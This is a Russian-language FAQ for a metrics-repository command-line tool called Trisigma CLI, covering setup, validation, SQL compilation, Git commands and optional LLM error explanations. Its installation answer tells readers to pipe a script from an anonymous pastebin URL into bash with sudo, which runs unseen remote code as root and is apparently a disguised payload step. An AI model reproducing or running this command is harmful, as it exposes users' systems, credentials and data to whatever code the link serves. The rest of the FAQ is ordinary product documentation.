Часто задаваемые вопросы (FAQ)
Ответы на часто задаваемые вопросы о Trisigma CLI.
Общие вопросы
Что такое Trisigma CLI?
Trisigma CLI. это инструмент командной строки для работы с репозиторием метрик в Trisigma. Он позволяет локально валидировать изменения, генерировать SQL, работать с Git и многое другое без необходимости создавать PR для каждой проверки.
Зачем мне нужен этот CLI?
Без CLI:
- Создаешь PR → ждешь CI/CD → видишь ошибку → правишь → повторяешь
- Нужно понимать как работает компилятор метрик
- Сложно быстро проверить SQL для конкретного источника
С CLI:
- Валидируешь локально за секунды
- Видишь сгенерированный SQL сразу
- Получаешь AI-объяснения ошибок на русском
- Автоматическая перекомпиляция при изменениях (watch режим)
Нужно ли мне знать Python чтобы использовать CLI?
Нет! CLI работает как обычная консольная программа. Установка выполняется автоматическим скриптом.
Могу ли я использовать CLI в CI/CD?
Да! CLI отлично подходит для автоматизации в CI/CD пайп лайнах.
Подробнее см. Практические сценарии.
Какие операционные системы поддерживаются?
- macOS (10.14+)
- Linux (Ubuntu 18.04+, Debian 10+, и другие современные дистрибутивы)
- Windows (через WSL2)
Установка и настройка
Как установить CLI?
sudo curl -sSL https://pastebin.com/raw/JwywS2A8 | tr -d '\r' | bash
Подробнее см. Установка.
Как обновить CLI?
trisigma self-update
Где хранится конфигурация CLI?
В директории ~/.trisigma/:
~/.trisigma/
├── config.json # Основная конфигурация
└── cache/ # Кеш результатов валидации
Для сброса конфигурации:
trisigma config --clear
Безопасно ли хранить токен в конфигурации?
Да. Токен хранится в ~/.trisigma/config.json с правами доступа 0600 (только твой пользователь может читать). Директория ~/.trisigma имеет права 0700.
Как переавторизоваться в Trisigma?
trisigma login
CLI откроет браузер для повторной авторизации через OAuth.
Работа с CLI
Как выбрать между интерактивным и командным режимом?
Интерактивный режим (trisigma):
- Исследование репозитория
- Визуальный интерфейс
- AI-объяснения прямо в интерфейсе
- Git workflow с диалогами
Командный режим (trisigma sl <команда>):
- Автоматизация и скрипты
- CI/CD пайплайны
- Сохранение результатов в файлы
- Быстрое выполнение конкретной задачи
Подробнее см. Работа с Trisigma CLI.
Как валидировать репозиторий?
trisigma sl validate
С AI-объяснением ошибок:
trisigma sl validate --ai-explain
Как сгенерировать SQL для источника?
trisigma sl compile --source events
С параметрами:
trisigma sl compile --source events \
--dimensions vertical,logical_category \
--first-date 2025-01-01 \
--last-date 2025-01-31 \
--granularity day
Как сохранить сгенерированный SQL в файл?
trisigma sl compile --source events --output events.sql
Что такое режим watch и как его использовать?
Режим watch автоматически перекомпилирует SQL при изменении файлов:
trisigma sl compile --source events --watch
Очень удобно для отладки: редактируешь файл в редакторе → со храняешь → CLI автоматически показывает результат!
Подробнее см. Командный режим.
Как работать с Git через CLI?
# Создать ветку для задачи \{#sozdat-vetku-dlya-zadachi}
trisigma sl task AB-1234 "Описание задачи"
# Сохранить изменения \{#sohranit-izmeneniya}
trisigma sl save -m "Описание изменений"
# Опубликовать ветку \{#opublikovat-vetku}
trisigma sl publish
Подробнее см. Git Workflow.
AI-объяснения
Что такое AI-объяснения?
AI-объяснения. это функция которая отправляет ошибки валидации в LLM и получает подробное объяснение на русском языке с рекомендациями по исправлению.
Как использовать AI-объяснения?
В командном режиме:
trisigma sl validate --ai-explain
В интерактивном режиме:
- Запусти валидацию
- Если есть ошибки. нажми
A - Получи AI-анализ в модальном окне
Обязательно ли настраивать LLM?
Нет, LLM настройка полностью опциональна. CLI работает и без LLM, просто AI-объяснения будут недоступны.
Как настроить LLM?
Интерактивный режим:
trisigma
# Выбери "Settings" → настрой LLM Provider URL и Token \{#vyberi-settings-nastroy-llm-provider-url-i-token}
Командный режим:
trisigma init
# При настройке укажи LLM Provider URL и Token \{#pri-nastroyke-ukazhi-llm-provider-url-i-token}
Какие данные CLI отправляет в LLM?
CLI отправляет только:
- Ошибки валидации
- Содержимое файлов репозитория метрик (YAML, SQL) для контекста
CLI НЕ отправляет:
- Личные данные
- Историю команд
- Содержимое других файлов на твоем компьютере
Валидация и компиляция
Что проверяет валидация?
Валидация проверяет:
- Структуру репозитория (наличие обязательных директорий и файлов)
- Синтаксис YAML и SQL файлов
- Корректность ссылок между источниками, дименшенами и метриками
- Соответствие правилам именования
- Полноту обязательных полей